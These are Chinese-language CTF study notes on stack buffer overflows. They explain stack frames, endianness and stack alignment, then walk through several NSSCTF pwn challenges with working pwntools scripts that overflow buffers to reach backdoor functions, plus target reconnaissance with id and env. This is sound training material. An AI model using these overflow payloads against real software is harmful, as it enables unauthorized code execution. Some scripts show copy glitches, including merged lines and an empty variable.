4.1 栈溢出
栈溢出漏洞 (Stack Buffer Overflow) 原理分析
1. 漏洞定义
栈溢出(Stack Buffer Overflow)是缓冲区溢出(Buffer Overflow)漏洞的一种常见表现形式,属于内存破坏型漏洞。其根本原因在于程序向分配在栈(Stack)上的局部变量缓冲区写入数据时,缺乏严格的内存边界检查(Bounds Checking),导致写入的数据长度超过了该缓冲区原有的容量。
2. 底层成因与内存布局 在 x86/x64 计算机体系结构中,程序通过“栈”这种后进先出(LIFO)的数据结构来动态维护函数调用的上下文环境(即栈帧 Stack Frame)。 当一个函数被调用时,系统会在栈顶为其开辟一段空间。一个典型的栈帧从高地址到低地址依次包含:
- 参数 (Arguments):传递给被调用函数的参数。
- 返回地址 (Return Address):保存着
call指令的下一条指令地址,用于函数执行完毕后返回调用处。- 基址指针 (Saved EBP/RBP):保存着上一层函数的栈底指针,用于栈帧的恢复。
- 局部变量 (Local Variables):当前函数内部使用的缓冲区域。
栈的生长方向通常是从高地址向低地址延伸,而向局部变量写入数据的方向则是从低地址向高地址推进。
3. 漏洞触发与执行流劫持 当程序调用了不安全的标准库输入或拷贝函数(如
gets(),strcpy(),sprintf(), 未限制长度的scanf()等)时,如果外部输入的数据量大于局部变量缓冲区的分配大小,多余的数据将发生越界(Out-of-bounds Write)。由于写入方向是从低向高,溢出的数据会依次向上覆盖栈帧中的相邻数据。如果攻击者精心构造输入数据的长度与内容,即可将特定的内存地址(如
call system指令地址或 ROP 链的首地址)精准覆盖至返回地址 (Return Address) 的位置。当存在漏洞的函数执行完毕,调用
ret指令(相当于pop EIP / pop RIP)进行返回操作时,处理器会将已被篡改的伪造地址加载至指令寄存器中,从而导致控制流劫持(Control Flow Hijacking),最终使得攻击者能够执行任意恶意代码或获取系统最高权限(Shell)。
4.1.1 攻防pwn-P2
这是一题简单的整数溢出

什么是栈溢出?
简单来说,栈溢出 (Stack Overflow) 是指程序向计算机内存中的“栈区”写入了超过其容量的数据,导致数据溢出到相邻的内存空间,甚至引发程序崩溃或安全漏洞。
什么是“栈”?
在程序运行时,系统会分配一块连续的内存区域称为栈 (Stack)。它的特点是“后进先出”(LIFO)。
- 用途:主要用于存储函数的局部变量、函数的参数以及函数返回时的地址。
- 空间有限:栈的大小是预先设定的(通常只有几 MB)。
为什么会发生溢出?
常见的诱因主要有两种:
A. 递归过深(最常见)
如果一个函数不断地调用自己,而没有正确的结束条件,每一个函数调用都会在栈上占用一块空间。很快,预留的栈空间就会被用光。
- 例子:计算斐波那契数列但忘记写
if (n <= 1)。
B. 局部变量过大
如果你在函数内部声明了一个巨大的数组(例如
int arr[10000000];),这个数组直接占满了栈空间,导致后续操作无处落脚。
C. 缓冲区溢出 (Buffer Overflow)
这是安全领域常说的“黑客攻击”手段。程序没有检查输入长度,导致用户输入的超长字符串覆盖了栈上的返回地址。
栈(Stack)是计算机科学中一种非常基础且重要的数据结构。它的核心特点可以概括为四个字:后进先出(Last In, First Out,简称 LIFO)。
你可以把它想象成食堂里叠放在一起的一摞盘子:
- 当你需要放一个新盘子时,你只能放在这一摞的最上面。
- 当你需要拿一个盘子时,你也只能从最上面拿走那一个。
- 最先放上去的盘子在最底下,最后才能被拿出来;而最后放上去的盘子在最顶上,最先被拿出来。
栈的核心操作
栈通常支持以下几个基本操作:
- 压栈 / 入栈 (Push):将一个新的元素放入栈的顶部。
- 弹栈 / 出栈 (Pop):将栈顶的元素移除,并将其返回。
- 查看栈顶 (Peek / Top):仅仅查看当前栈顶的元素是什么,但不把它移除。
- 判空 (isEmpty):检查栈里是否还有元素。如果栈里没有任何东西,也就是“空栈”时,如果强行执行出栈操作,就会发生“栈下溢(Stack Underflow)”错误。相反,如果栈满了还继续压栈,就会发生“栈溢出(Stack Overflow)”。
栈的常见应用场景
因为“后进先出”的特性,栈在计算机系统的各个层面都有着广泛的应用:
- 函数调用栈 (Call Stack):这是栈最核心的应用之一。当程序执行到一个函数时,它会把当前的状态(如返回地址、局部变量等)“压”入内存中的一个栈里。当该函数执行完毕后,再从栈中“弹”出这些信息,让程序准确回到之前被中断的地方继续执行。
- 浏览器的“后退”功能:你访问的网页会被依次压入一个栈中。当你点击“后退”时,当前网页出栈,浏览器显示上一个栈顶的网页。
- 软件的“撤销 (Undo)”功能:你在文档中进行的每一步操作都会被存入栈中。按下
Ctrl+Z撤销时,实际上就是把最近一次的操作出栈并恢复状态。 - 括号匹配:编译器或代码编辑器在检查代码(如
{[()]})是否闭合时,会用栈来存储左侧的括号,遇到右侧括号就出栈进行匹配验证。
演示动画
这里有关于栈的演示动画HACKED笔记pwn/动画链接/NSSCTF-PWN/栈/栈.html · 工程部Teddy Bear/网络安全 - 码云 - 开源中国

先用IDA pro打开这个附件main,按住F5进入代码模式

我们的目的是获取到shell,也就是得v5是520
这里需要做一个修改,char v4这个其实是int v4,scanf("lld")表示的是接收long long int的输入。
在汇编层面,根本没有 char、int 或是 long long 的概念,只有“往内存地址里写几个字节”。IDA 的 F5 伪代码是通过上下文“猜”出来的变量类型。由于 v4 到 v5 之间只有 4 个字节的距离,IDA 就自作主张把它猜成了 char v4[4](你可以光标移到 v4 上按键盘 Y 键强行把它改成 __int64,就会看到不一样的代码)。
y是修改类型,n是修改变量名
漏洞触发机制
接下来看这句致命的代码:__isoc99_scanf("%lld", v4);
%lld代表你要输入一个long long int(64位长整型)。scanf是个非常“老实”的函数,你告诉它%lld,它就会雷打不动地往v4这个地址连续写入 8 个字节。
发生什么了? v4 这个杯子只能装 4 字节的水,你硬倒进去 8 字节。多出来的 4 字节去哪了? 它顺理成章地向高地址漫延,精准地溢出到了 v5 的地盘里,把 v5 原本的值(1314)给覆盖掉了!

那么我们先用pwndbg调试这个程序吧,当然你也可以使用IDA调试
先写一个简单的调试python
from pwn import *
r = process("./main") #本地调试
#r = remote("ip",port) #远端调试,ip是网址,port是端口
context(os = "linux",arch = "amd64",log_level = "debug") #文件是linux类型文件,版本是amd64(windows文件是x64/X86),debug模式num = 0x1234567812345678gdb.attach(r)
r.recvline()#从目标程序或远程服务读取一行输出,通常是等待提示
r.sendline(str(num))#把 num 转成字符串后发送过去,相当于输入这个数字并回车
r.interactive()#进入交互模式,让你可以手动继续和程序/服务交互

在pwn题目中,一般我们只需要找出main就行,除非题目很难
这个图有几个信息需要我们关注

运用得当的话就容易调试
我们先使用b指令下断点,让程序运行到main函数入口位置,b *(main函数地址),用c直接步进到断点位置

程序进入到main了,我们观察一下逻辑,我们现在是输入了0x1234567812345678,那在内存中,一个字节()作为一格存储
为什么内存是0x12 34 56 78..这这样存储,是和字节有关系吗?
在计算机中,内存的基本寻址单位是“字节(Byte)”。
- 1 个字节 = 8 个比特(bit)。
- 1 个十六进制字符(比如
f或8)= 4 个比特(半个字节)。- 所以,2 个十六进制字符正好凑满 1 个字节(8 个比特)。
这就意味着,内存里的每一个格子(地址),刚好只能装下两位十六进制数。
你输入的
0x1234567812345678是一串 64 位(8 字节)的超长数据。内存一口吞不下,必须把它切成 8 块:12,34,56,78,12,34,56,78,然后依次放进 8 个连续的内存格子里。
2. 惊天反转:它在内存里的真实顺序(大小端序)
你以为它在内存里是按照
12 34 56 78...这样存的吗?错!在你的 Linux(WSL) x86_64 系统中,它完全是反过来的!
这里要引入两个概念:
- 高位与低位:对于数字
0x11223344来说,11是高位(几千万),44是低位(个十百位)。- 大端序(Big-Endian):高位存低地址,低位存高地址。这符合人类从左到右阅读的习惯(比如网络传输时常用这种)。
- 小端序(Little-Endian):低位存低地址,高位存高地址。
你的 Intel/AMD CPU 采用的是“小端序”。
当你把
0x1122334455667788存入内存时,真实的物理排布是这样的(假设从地址 0x0000 开始):
内存物理地址 存储的字节 (Hex) 说明 0x0000(低地址)88最低位的字节最先存入 0x0001770x0002660x0003550x0004440x0005330x0006220x0007(高地址)11最高位的字节最后存入 在内存中,十进制的数据会自动转化成十六进制的数据,12345678会变成BC 61 4E
OK,那开始操作我们的pwndbg,看看0x12345678913456789存储在那里

现在程序进行比较了cmp,jne如果条件不符合的话就跳转main+117,符合就顺序执行,那我们肯定要顺序执行获取到shell
找出rbp-0xc的地址存储了什么数据
x/10gx [rbp addr-0xc]/(需要看你的rbp地址)
0x7ffd8e607cb4 ->0xed381c0012345678
0x7ffd8e607cb3->0x381c001234567812
dword 四个字节数 int
ptr 指针
dword ptr [rbp-0xc]的意思就是从rbp-0xc这个位置,取出四个字节数,和0x208比较
那也就是说我们需要cmp 成功比较,需要使得0x7ffd8e607cb4 -> 0xed381c0012345678 最后三个数据是208
那思路很清晰了,我们输入一个包含0x208的数使得栈从v4溢出到v5数据,使得cmp通过
脚本如下
from pwn import *r = process("./main")#本地模式
#r = remote("node6.anna.nssctf.cn", 27437) #远程模式
context(os="linux",arch = "amd64",log_level = "debug")num = 0x20865666768
#也可以换成这个 2233382993920 十六进制的0x208 0000 0000
gdb.attach(r)r.recvline()
r.sendline(str(num))
r.interactive()

4.1.2 [SWPUCTF 2021 新生赛]gift_pwn
题目链接:https://www.nssctf.cn/problem/390

找到main函数,然后观察一下出现了call vuln


出现了read和数组,那说明可以考虑栈溢出问题了,因为read读取100个字符,远远大于buf存储的字符,说明需要操作栈进行溢出

仔细观察发现,gift函数调用了system和/bin/sh,也就是我们想办法给截取vuln函数返回值,让RIP直接飞到gift函数入口
gift->0x4005B6

stack还没保护,哎这不直接栈溢出,那就简单了呀。我们计算一下需要发送多少个垃圾数据,让栈最后的save RIP直接变成我们的Gift函数入口地址,RIP运行到ret的时候就会找原先Save RIP地址,直接飞到了gift函数。看看动画
动画漏洞演示链接:
[网络安全: 科协ss0t网络安全学习资料分享仓库 - Gitee.com](https://gitee.com/ASUS_HACKED/cybersecurity/tree/比赛附件/HACKED笔记pwn/动画链接/NSSCTF-PWN/栈/[SWPUCTF 2021 新生赛]gift_pwn)
脚本:
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
r = process('/main')
#远端程序换这个
#r = remote("ip",port)
gift = 0x4005B6
ret_addr =
offset = 0x10+0x8 #0x10是buf数组,0x8是覆盖save RBP
payload = b'a'*offset + p64(ret_addr)+p64(gift)r.sendline(payload)
r.interactive()
栈对齐
那为什么远程到服务器的时候不需要加上ret_addr?
这个我也画了动画解析
[SWPUCTF 2021 新生赛]gift_pwn/PWN 栈对齐.html · 工程部Teddy Bear/网络安全 - 码云 - 开源中国](https://gitee.com/ASUS_HACKED/cybersecurity/blob/比赛附件/HACKED笔记pwn/动画链接/NSSCTF-PWN/栈/[SWPUCTF 2021 新生赛]gift_pwn/PWN 栈对齐.html)
这是一个在打 CTF(尤其是刚入门打真题时)极其经典且普遍的疑惑!
你在本地打不通(报段错误),加上 ret 垫脚石就通了;但当你把没有 ret 的原始 Payload 直接打向远程服务器时,居然奇迹般地成功拿到了 Flag。
这说明了一个在 PWN 领域最重要的定律:PWN 的核心是与“环境”作斗争。
本地和远程不需要 ret 的根本原因,用一句话总结就是:远程服务器的“老板”(操作系统和底层库版本)和你本地电脑的“老板”不是同一个人!
下面是具体的原理解释:
1.核心差异:GLIBC(C 语言标准库)的版本不同
你程序里调用的 system() 函数,并不是凭空产生的,它是操作系统底层一个叫 GLIBC (GNU C Library) 的核心库提供的。
- 你本地的电脑(或者虚拟机): 通常是比较新的系统版本(比如 Ubuntu 18.04、Ubuntu 20.04 甚至更新)。这些系统搭载的 GLIBC 版本较高(大于等于 2.27)。 在这个高版本里,
system()函数被底层工程师优化过了。为了执行得更快,它内部使用了一种叫movaps的高级 CPU 指令。而正是这个高级指令,带有一个硬件级别的“强迫症”死规定:栈指针 RSP 必须 16 字节对齐。 - 远程的 CTF 服务器: 很多 CTF 比赛的题目(尤其是这道题可能比较老),为了稳定或者特定的漏洞环境,使用的是较老的系统镜像(比如 Ubuntu 16.04)。它搭载的是老版本的 GLIBC(比如 2.23)。 在这个老版本里,
system()函数内部没有使用那些带有严格对齐要求的高级指令。
2. 回到“走台阶”的比喻
- 本地(新系统): 老板有严重的强迫症。你踩着单数台阶(不对齐)去见他,他直接掀桌子(Segmentation Fault 崩溃)。所以你必须加个
ret垫脚石,把自己调整到双数台阶。 - 远程(老系统): 老板是个随和的老头。不管你是踩着单数台阶还是双数台阶去见他,他都笑呵呵地接待你,把
/bin/sh的权限交给你。
所以,你不加 ret,在远程那种不严格的环境下,依然可以顺利执行拿到 Shell。
给你的进阶小贴士(Pro Tip):
在真实的打比赛中,遇到这种环境差异,PWN 选手通常会怎么做呢?
- “万能垫脚石”策略: 不管远程需不需要,在 Payload 里加上
ret垫脚石是一种良好的习惯。因为加了ret,无论老板有没有强迫症,都能完美运行(老版本系统也不会因为你多弹了一次地址而崩溃)。这叫“向下兼容”。 - 环境对齐(高端局必修课): 到了进阶阶段,题目会给你提供一个叫
libc.so.6的文件。这就相当于把远程服务器的“底层库”直接发给你了。高手会使用一个叫pwninit或patchelf的工具,把本地的程序强行绑定到这个远程库上。这样你在本地调试时的表现,就和远程服务器 100% 一模一样了,彻底告别“本地通、远程不通”的玄学问题。
4.1.3 [SWPUCTF 2022 新生赛]Does your nc work?
题目连接:https://www.nssctf.cn/problem/3875

nc题目,那就是签到题了,考的就是linux操作
通过命令远程靶机
nc node5.anna.nssctf.cn 22113 #nc 服务器,端口
先用ls看看文件有啥,然后cat Dockerfile
哎你以为flag是NSSCTF{123456}吗?

我们再看一下app.py 的代码来看,这是一个简单的 TCP 服务器
2.使用系统命令继续探索
我们来仔细看一看这里有什么套路
需要执行一些系统命令来获取更多信息,像是查看环境变量、网络配置等,你可以尝试:
id:查看当前用户的权限。
whoami:查看当前用户。发现咱有root权限
ps aux :查看当前进程,确认是否有相关程序
env :查看环境变量。
env查看,发现真flag

4.1.4 [CISCN 2019华北]PWN1
题目链接:https://www.nssctf.cn/problem/100
main函数

func函数

func函数运行流程图
那这题的思路就是通过栈溢出,通过gets()的无限制读取,将栈溢出,从v1溢出到v2
获取shell的规则就是使得v2 == 11.28125
这里有一个小脚本,将10进制浮点数转化为16进制,我们可以先将11.28125转化为hex
import structdef pwn_float(num, is_double=False):"""专为 Pwn 优化的浮点数小端序转换工具"""# 1. 打包成小端序 (< 表示小端序,f 是 32位 float,d 是 64位 double)fmt = '<d' if is_double else '<f'payload_bytes = struct.pack(fmt, num)# 2. 生成带 \x 的标准 Pwn 字符串格式,方便直观查看pwn_string = ''.join([f'\\x{b:02x}' for b in payload_bytes])# 3. 提取标准的大端序十六进制(仅用于对比展示)human_fmt = '>d' if is_double else '>f'human_bytes = struct.pack(human_fmt, num)human_hex = human_bytes.hex().upper()print(f"[*] 目标浮点数: {num}")print(f"[-] 理论存储 (大端/人类阅读): 0x{human_hex}")print(f"[+] 内存布局 (小端/实际发送): b'{pwn_string}'")print("-" * 40)return payload_bytes# === 比赛直接调用演示 ===
target_num = 11.28125# 转换 32 位浮点数
payload_32 = pwn_float(target_num)# 在你的 Pwn 脚本中,就可以直接这样拼接了
# payload = b'a'*48 + payload_32
11.28125(oct)== 0x41348000(hex)
回到func函数里边
观察栈的大小

从栈底(save rbp)到栈顶为0x30就是局部变量的范围
v1数组分配了从栈顶到rbp-4[rsp+2C]位置
v2分配了从rbp-4到rbp
那我们payload就很好写了,
payload = b'a'*44+p64(0x41348000)
师傅师傅,[SWPUCTF 2021 新生赛]gift_pwn为什么需要在payload添加ret_addr?
这里就涉及到了ret垫片使用条件,当system和/bin/sh不在同一栈溢出函数的时候,那么就需要ret垫片进行错位
本题是通过栈溢出使得v2等于11.28125得到system,在同一函数下。
当函数运行结束时跳转到别的函数的时候,栈会进行一个操作
leave
ret这里就会进行了一次错位
ret从栈顶弹出了 8 字节给 RIP。
RSP 指针由于弹出数据,下降 8 字节。此时 RSP 是 16 的倍数 (对齐)。进入 gift() 函数
进入后门函数,第一条汇编指令必然是 push rbp。
栈被压入 8 字节,RSP 上升。此时 RSP 结尾变成 8 (非对齐)!
紧接着执行call system—— 💥 直接段错误!
完整脚本如下
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
r = process('./PWN1')
#r = remote('node4.anna.nssctf.cn', 24196)payload = b'a'*44+p64(0x41348000)
#gdb.attach(r)r.sendline(payload)
r.interactive()
4.1.5 [BJDCTF 2020]babystack
题目链接:https://www.nssctf.cn/problem/705

分析函数逻辑
原理是通过nbtes的大小设置read需要读取多少个字符到buf
read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中
在找找别的信息,看看有没有我们需要的/bin/sh和system等关键字眼shift+F12

他们都在backdoor这个函数里边

那就简单了,找出他们的地址就行了
from pwn import *
context(os="linux",arch = "amd64",log_level = "debug")#r = process("./ret2text")
r = remote("node4.anna.nssctf.cn",20595)
r.recvuntil("[+]Please input the length of your name:")
r.sendline(b"200")offset = 0x8+0x10
ret_addr = 0x4006FA #跨函数加跳板
backdoor = 0x4006E6
payload = b'a'*offset +p64(ret_addr)+p64(backdoor)#gdb.attach(r)r.sendline(payload)
r.interactive()
4.1.6 [BJDCTF 2020]babystack2.0
题目链接:https://www.nssctf.cn/problem/705
这题和刚刚那题有点区别就是出现了对nbytes的验证

但是捏出现了nbytes类型不一致,破解点在于unsinged int无法将一个int的负数正常转化
也就是利用unsiged int补码缺点将int类型的负数变成一个很大的整数
int类型的-1转换为unsigned int后,会变成一个非常大的正数。在一个典型的 32 位系统中,
int类型的-1转换为unsigned int后的值是 4294967295。这个值也常常用十六进制表示为0xFFFFFFFF
脚本如下
from pwn import *
context(os="linux",arch = "amd64",log_level = "debug")r = process("./pwn")
#r = remote("node4.anna.nssctf.cn",27087)
#gdb.attach(r)
r.recvuntil("[+]Please input the length of your name:")
r.sendline(b"-1")
offset = 0x8+0x10
ret_addr = 0x40073A
backdoor = 0x400726
payload = b'a'*offset +p64(ret_addr) +p64(backdoor)r.sendline(payload)
r.interactive()
4.1.7 [watevrCTF 2019]Voting Machine 1
题目链接:https://www.nssctf.cn/problem/85

存在一个数组和gets函数
gets引发栈溢出
gets函数之所以极易导致栈溢出(Stack Buffer Overflow),最核心的原因只有一个:它在读取输入时,完全不检查目标缓冲区(Buffer)的边界大小。下面为您详细拆解其中的原理:
1.
gets函数的致命缺陷
gets(char *str)的设计初衷是从标准输入(stdin)读取一行文本。它的工作机制是:不断地读取字符并存入str指向的内存中,直到遇到换行符(\n)或文件结束符(EOF)为止,最后在末尾加上字符串结束符\0。问题在于,
gets根本不知道str指向的这块内存到底有多大。
- 如果你定义了
char buffer[10];(只能容纳 10 个字节)。- 当你调用
gets(buffer);时,如果你输入了 100 个字符,gets会“尽职尽责”地把这 100 个字符强行写进去。- 多出来的 90 多个字符就会越过
buffer的边界,覆盖掉相邻的内存区域。
2. 为什么会导致“栈”溢出?
在 C 语言中,局部变量(比如上面的
buffer数组)通常分配在程序的栈区(Stack)上。栈是一种后进先出的数据结构,除了保存局部变量外,它还保存着控制程序执行流的关键数据。当一个函数被调用时,栈帧(Stack Frame)中通常包含以下内容(按内存地址从低到高排列):
- 局部变量(如
buffer)- Saved EBP/RBP(上一个函数的栈基址)
- Return Address (返回地址)(当前函数执行完毕后,程序应该回到哪里继续执行)
由于数组写入数据时,地址是从低向高增长的。如果
buffer发生越界写入,多出来的数据就会像水漫金山一样,向上覆盖掉返回地址。
3. 溢出的后果
- 程序崩溃(Segmentation Fault): 如果返回地址被随机的字符(比如你输入的 "AAAA")覆盖,函数返回时就会尝试跳转到一个无效的内存地址,导致程序直接崩溃。
- 严重的安全漏洞: 恶意攻击者可以精心构造输入的数据。他们可以将恶意代码(Shellcode)注入到栈中,并精确计算偏移量,用恶意代码的地址去覆盖返回地址。这样,当函数返回时,程序就会乖乖地去执行攻击者的代码,从而导致系统被黑客接管。
这题是通过溢出将v4数组(也存在main函数的栈)溢出,在程序结束main函数时候,利用ret跳转到别的函数
看看还有没有别的信息

这条语句是Linux操作语句,也就是意味着出现了查看flag.txt文件操作。位于super_secret_function函数中

payload = b'a'*2 + p64(main_ret)+p64(super_secret_function_addr)
脚本如下
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
r = remote('node5.anna.nssctf.cn', 23673)#r.recvuntil('Please input your name: ')
offset = 0x2
ret = 0x400941
payload = b'a' * offset +p64(ret) +p64(0x400807)
r.sendline(payload)
r.interactive()
